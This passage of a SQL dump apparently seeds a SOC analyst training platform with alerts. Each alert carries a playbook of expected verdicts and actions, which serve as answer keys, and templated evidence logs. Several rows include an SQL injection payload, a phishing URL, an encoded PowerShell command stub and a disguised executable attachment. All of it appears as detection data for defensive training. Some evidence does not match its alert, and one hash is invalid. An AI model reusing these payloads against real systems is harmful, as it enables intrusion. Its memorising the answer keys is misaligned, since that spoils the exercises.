2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(847, 'SQL Injection Attempt Blocked', 'high', 'Wazuh', 'A SQL injection attempt was detected and blocked by the web application firewall.', 'Web Attack', 'T1190', 0, 'Closed', 233, '{\"timestamp\":\"2026-01-14T11:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"192.168.1.150\",\"hostname\":\"GOV-WEB01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-14 15:21:38', '2026-03-03 12:15:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web-based attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"SQL injection attempt confirmed by payload and IP reputation.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(848, 'False Positive - Unusual Network Activity', 'low', 'Firewall', 'Unusual network activity detected due to a legitimate software update process, initially flagged as suspicious.', 'Network Anomaly', 'T1071', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T12:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.120\",\"dst_ip\":\"203.0.113.88\",\"hostname\":\"GOV-UPDATE01\",\"command_line\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\"}', '2026-01-14 15:21:38', '2026-03-03 12:17:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the update server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"Activity confirmed as part of a legitimate software update process.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(849, 'Credential Harvesting Attempt via Phishing Email', 'high', 'Proofpoint', 'A phishing email targeting user credentials was detected. The email contained a malicious link disguised as an Office365 login page.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-14T09:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"username\":\"jane.doe@retailcorp.com\",\"hostname\":\"mailserver.retailcorp.com\",\"email_sender\":\"no-reply@office365-login.com\",\"url\":\"http://office365-login.com/login\"}', '2026-01-14 15:31:54', '2026-03-06 10:15:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 500 times for phishing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://office365-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known phishing URL targeting Office365 credentials\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"no-reply@office365-login.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Spoofed domain used for phishing campaigns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a known phishing URL and originated from a malicious IP.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Credential Harvesting Attempt via Phishing Email\",\"date\":\"2026-02-01T20:32:22.511Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(850, 'SQL Injection Attempt Detected on E-commerce Platform', 'critical', 'Wazuh', 'A web request containing SQL injection payload was detected on the payment processing page of the e-commerce site.', 'Web Attack', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T11:30:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"45.33.32.156\",\"dst_ip\":\"192.168.1.45\",\"hostname\":\"webserver.ecommerce.com\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-14 15:31:54', '2026-02-16 17:57:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.33.32.156\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body contained a clear SQL injection payload targeting the payment page.\"}', 'Beginner', 'EDR', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(851, 'Suspicious Login Attempt from Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts detected for a user account from an unusual foreign IP address.', 'Credential Attack', 'T1078', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T12:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.234.217.40\",\"username\":\"john.smith\",\"hostname\":\"auth.retailcorp.com\",\"failed_attempts\":15}', '2026-01-14 15:31:54', '2026-02-16 16:54:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.234.217.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with suspicious login activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP is known for suspicious activity, and the user reported unexpected login attempts.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(852, 'BEC Attempt Detected with CEO Impersonation', 'high', 'Proofpoint', 'An email attempting to impersonate the CEO was detected. The email requested a wire transfer to an unfamiliar account.', 'Phishing', 'T1566', 1, 'Closed', 297, '{\"timestamp\":\"2026-01-14T08:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"195.154.200.25\",\"username\":\"finance@retailcorp.com\",\"hostname\":\"mailserver.retailcorp.com\",\"email_sender\":\"ceo@reta1lcorp.com\",\"email_subject\":\"Urgent: Wire Transfer Request\"}', '2026-01-14 15:31:54', '2026-03-15 11:50:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"195.154.200.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple BEC attempts\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"ceo@reta1lcorp.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Spoofed domain used for CEO impersonation\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email used a lookalike domain to impersonate the CEO for financial fraud.\"}', 'Beginner', 'CORE', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"BEC Attempt Detected with CEO Impersonation\",\"date\":\"2026-02-01T20:32:22.515Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(853, 'Malware Execution Detected on POS System', 'critical', 'CrowdStrike', 'Suspicious process execution detected on a POS system. The process is associated with known POS malware.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T10:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.75\",\"hostname\":\"pos-terminal-01\",\"command_line\":\"C:\\\\Windows\\\\system32\\\\posmalware.exe\",\"file_hash\":\"3a4b1c2d5e6f7g8h9i0j1k2l3m4n5o6p\"}', '2026-01-14 15:31:54', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal POS terminal\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\system32\\\\posmalware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known POS malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a4b1c2d5e6f7g8h9i0j1k2l3m4n5o6p\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as POS malware variant\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash and command line match known POS malware signatures.\"}', 'Beginner', 'EDR', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(854, 'False Positive: Legitimate QR Code Scanning Detected', 'low', 'IDS', 'A QR code scanning event was detected. The activity was identified as part of a legitimate marketing campaign.', 'Web Request', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-14T13:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.100.100\",\"hostname\":\"qrscanner.retailcorp.com\",\"url\":\"https://marketing.retailcorp.com/qrcampaign\"}', '2026-01-14 15:31:54', '2026-03-05 22:34:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with marketing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://marketing.retailcorp.com/qrcampaign\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL verified as part of a legitimate marketing campaign\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The URL and source IP are associated with a legitimate marketing campaign.\"}', 'Beginner', 'TI', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(855, 'False Positive: Unusual Network Traffic from Internal Server', 'medium', 'Firewall', 'An internal server generated unusual network traffic. Further analysis confirmed this is part of a scheduled data backup.', 'Data Exfil', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T14:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.50.10\",\"dst_ip\":\"10.0.0.20\",\"hostname\":\"backupserver.retailcorp.com\"}', '2026-01-14 15:31:54', '2026-02-26 22:00:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.50.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal server used for scheduled backups\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal backup destination\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Network traffic matched scheduled backup patterns, confirming false positive.\"}', 